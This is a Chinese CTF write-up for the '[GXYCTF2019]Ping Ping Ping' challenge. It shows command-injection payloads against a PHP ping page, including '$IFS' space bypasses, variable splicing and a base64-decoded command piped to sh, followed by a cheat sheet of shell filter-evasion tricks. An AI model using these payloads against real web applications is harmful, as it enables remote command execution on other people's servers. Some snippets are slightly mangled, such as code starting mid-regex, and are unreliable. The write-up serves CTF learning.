buuctf-web-[GXYCTF2019]Ping Ping Ping-wp

[GXYCTF2019]Ping Ping Ping

知识点

  • 变量拼接

  • sh,bash下编码

  • 绕过空格过滤

  • 绕过关键字过滤

过程

主页:

buuctf-web-[GXYCTF2019]Ping Ping Ping-wp

?ip=127.0.0.1

buuctf-web-[GXYCTF2019]Ping Ping Ping-wp

?ip=127.0.0.1;ls

buuctf-web-[GXYCTF2019]Ping Ping Ping-wp

?ip=127.0.0.1;cat flag.php

buuctf-web-[GXYCTF2019]Ping Ping Ping-wp

过滤了空格,使用$IFS$1来绕过

?ip=127.0.0.1;cat$IFS$1flag.php

buuctf-web-[GXYCTF2019]Ping Ping Ping-wp

过滤了flag,但是可以查看下index.php

?ip=127.0.0.1;cat$IFS$1index.php
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

方法一

变量拼接

可以使用变量拼接的方式绕过flag过滤

?ip=127.0.0.1;a=f;d=ag;c=l;cat$IFS$a$c$d.php

ps: 参数顺序要注意,adc换位acdflag会被检测出来:)

过滤了?/\{}()[]* 否则bash语法可以用“?”,正斜杠“/”,数字和字母来执行系统命令。

buuctf-web-[GXYCTF2019]Ping Ping Ping-wp

方法二

sh,bash下编码

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

绕过空格过滤

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< //cat<a.txt
<>  
{cat,flag.php}  //用逗号实现了空格功能
%20 (space)
%09 (tab)

绕过关键字过滤

特殊变量

$*
$@
$x    (x 代表 1-9)
${x}   (x>=10)
在没有传参的情况下,上面的特殊变量都是为空的 ca${21}t a.txt

反斜杠

ca\t a.txt

变量替换

a=ca;b=t;c=a.txt;aaab $c

引号

c'a't flag.php

编码绕过

Base64 编码绕过

root@kali:~/# echo 'cat a.txt'| base64 Y2F0IGEudHh0Cg==
root@kali:~/# echo 'Y2F0IGEudHh0Cg==' | base64 -d abc

十六进制编码绕过

root@kali:~/# echo 'cat a.txt' | xxd -p 63617420612e7478740a
root@kali:~/# echo '0x63617420612e7478740a'| xxd -r -p Abc

通配符

? 
*
[…]:匹配范围中任何一个字符 cat fl[abc]g.php
[a-z]:匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
{a,b}:对以逗号分割的文件列表进行拓展 cat fl{b,c}g.php

命令分隔与执行多条命令

1.&
& 表示将任务置于后台执行
2.&&
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
上一篇:C++文本操作文件-读、写文件


下一篇:C++核心编程(五)—— 文件操作